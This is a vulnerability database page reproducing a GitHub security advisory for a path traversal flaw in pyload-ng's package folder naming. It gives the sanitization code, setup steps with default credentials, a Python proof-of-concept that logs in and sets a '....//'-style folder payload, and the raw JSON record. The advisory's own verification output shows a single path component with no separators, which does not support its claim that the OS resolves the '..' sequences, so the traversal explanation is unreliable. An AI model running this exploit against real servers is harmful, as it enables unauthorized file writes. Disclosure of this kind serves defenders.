GHSA-97R3-5W84-R4Q8

Vulnerability from github – Published: 2026-05-05 21:13 – Updated: 2026-05-13 14:18
VLAI?
Summary
PyLoad Vulnerable to Path Traversal via Package Folder Name
Details

Insufficient sanitization of package folder names allows writing files outside the intended download directory.

Affected Component

  • src/pyload/core/api/__init__.py
  • Function: add_package()

Description

Package folder names are sanitized using insufficient string replacement:

folder = (
    folder.replace("http://", "")
    .replace("https://", "")
    .replace("../", "_")  # Bypassable!
    .replace("..\\", "_")
    .replace(":", "")
    .replace("/", "_")
    .replace("\\", "_")
)

The ../ replacement is bypassable. The pattern ....// becomes .._ after replacement (partial removal), leaving .. which can be exploited when the path is later resolved by the OS.

Proof of Concept

Setup

pip install pyload-ng[all]
pyload -d &
# Default credentials: pyload / pyload

Exploit

#!/usr/bin/env python3
import requests

BASE_URL = "http://localhost:8000"
USERNAME = "pyload"
PASSWORD = "pyload"

session = requests.Session()

# Login
session.post(f"{BASE_URL}/login", data={
    "username": USERNAME,
    "password": PASSWORD
})

# Create package with malicious folder name
# The pattern ....// bypasses the ../ replacement
# After sanitization: .._ (still contains ..)
folder_payload = "....//....//....//tmp/evil"

resp = session.post(f"{BASE_URL}/api/add_package", json={
    "name": "test_package",
    "links": ["http://example.com/file.txt"],
    "dest": 1  # Destination.QUEUE
})

package_id = resp.json()
print(f"Created package: {package_id}")

# Set malicious folder name
resp = session.post(f"{BASE_URL}/api/set_package_data", json={
    "package_id": package_id,
    "data": {"folder": folder_payload}
})

print(f"Set folder payload: {folder_payload}")
print(f"Response: {resp.status_code}")

# When download occurs, files will be written outside download dir
print("[+] When a file is downloaded, it will be written to manipulated path")
print("    The sanitized folder still contains '..' sequences that OS resolves")

Verification

Check where files would be written:

import os

download_dir = "/home/user/Downloads"
folder = "....//....//....//tmp/evil"

# Simulate pyLoad's sanitization
sanitized = folder.replace("../", "_").replace("/", "_")
print(f"After pyLoad sanitization: {sanitized}")
# Output: .._.._.._tmp_evil

# When pyLoad does os.path.join and then opens the file:
final_path = os.path.join(download_dir, sanitized)
print(f"Joined path: {final_path}")
# Output: /home/user/Downloads/.._.._.._tmp_evil

# The .. sequences remain and could be resolved by OS during file operations

Impact

Authenticated users with ADD permission can: - Write files outside the download directory - Potentially overwrite system files (depending on permissions) - Clutter system directories with downloaded content

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev79"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42314"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:13:08Z",
    "nvd_published_at": "2026-05-11T18:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient sanitization of package folder names allows writing files outside the intended download directory.\n\n## Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `add_package()`\n\n## Description\nPackage folder names are sanitized using insufficient string replacement:\n\n```python\nfolder = (\n    folder.replace(\"http://\", \"\")\n    .replace(\"https://\", \"\")\n    .replace(\"../\", \"_\")  # Bypassable!\n    .replace(\"..\\\\\", \"_\")\n    .replace(\":\", \"\")\n    .replace(\"/\", \"_\")\n    .replace(\"\\\\\", \"_\")\n)\n```\n\nThe `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS.\n\n## Proof of Concept\n\n### Setup\n```bash\npip install pyload-ng[all]\npyload -d \u0026\n# Default credentials: pyload / pyload\n```\n\n### Exploit\n```python\n#!/usr/bin/env python3\nimport requests\n\nBASE_URL = \"http://localhost:8000\"\nUSERNAME = \"pyload\"\nPASSWORD = \"pyload\"\n\nsession = requests.Session()\n\n# Login\nsession.post(f\"{BASE_URL}/login\", data={\n    \"username\": USERNAME,\n    \"password\": PASSWORD\n})\n\n# Create package with malicious folder name\n# The pattern ....// bypasses the ../ replacement\n# After sanitization: .._ (still contains ..)\nfolder_payload = \"....//....//....//tmp/evil\"\n\nresp = session.post(f\"{BASE_URL}/api/add_package\", json={\n    \"name\": \"test_package\",\n    \"links\": [\"http://example.com/file.txt\"],\n    \"dest\": 1  # Destination.QUEUE\n})\n\npackage_id = resp.json()\nprint(f\"Created package: {package_id}\")\n\n# Set malicious folder name\nresp = session.post(f\"{BASE_URL}/api/set_package_data\", json={\n    \"package_id\": package_id,\n    \"data\": {\"folder\": folder_payload}\n})\n\nprint(f\"Set folder payload: {folder_payload}\")\nprint(f\"Response: {resp.status_code}\")\n\n# When download occurs, files will be written outside download dir\nprint(\"[+] When a file is downloaded, it will be written to manipulated path\")\nprint(\"    The sanitized folder still contains \u0027..\u0027 sequences that OS resolves\")\n```\n\n### Verification\nCheck where files would be written:\n```python\nimport os\n\ndownload_dir = \"/home/user/Downloads\"\nfolder = \"....//....//....//tmp/evil\"\n\n# Simulate pyLoad\u0027s sanitization\nsanitized = folder.replace(\"../\", \"_\").replace(\"/\", \"_\")\nprint(f\"After pyLoad sanitization: {sanitized}\")\n# Output: .._.._.._tmp_evil\n\n# When pyLoad does os.path.join and then opens the file:\nfinal_path = os.path.join(download_dir, sanitized)\nprint(f\"Joined path: {final_path}\")\n# Output: /home/user/Downloads/.._.._.._tmp_evil\n\n# The .. sequences remain and could be resolved by OS during file operations\n```\n\n## Impact\nAuthenticated users with ADD permission can:\n- Write files outside the download directory\n- Potentially overwrite system files (depending on permissions)\n- Clutter system directories with downloaded content",
  "id": "GHSA-97r3-5w84-r4q8",
  "modified": "2026-05-13T14:18:03Z",
  "published": "2026-05-05T21:13:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-97r3-5w84-r4q8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42314"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyLoad Vulnerable to Path Traversal via Package Folder Name"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…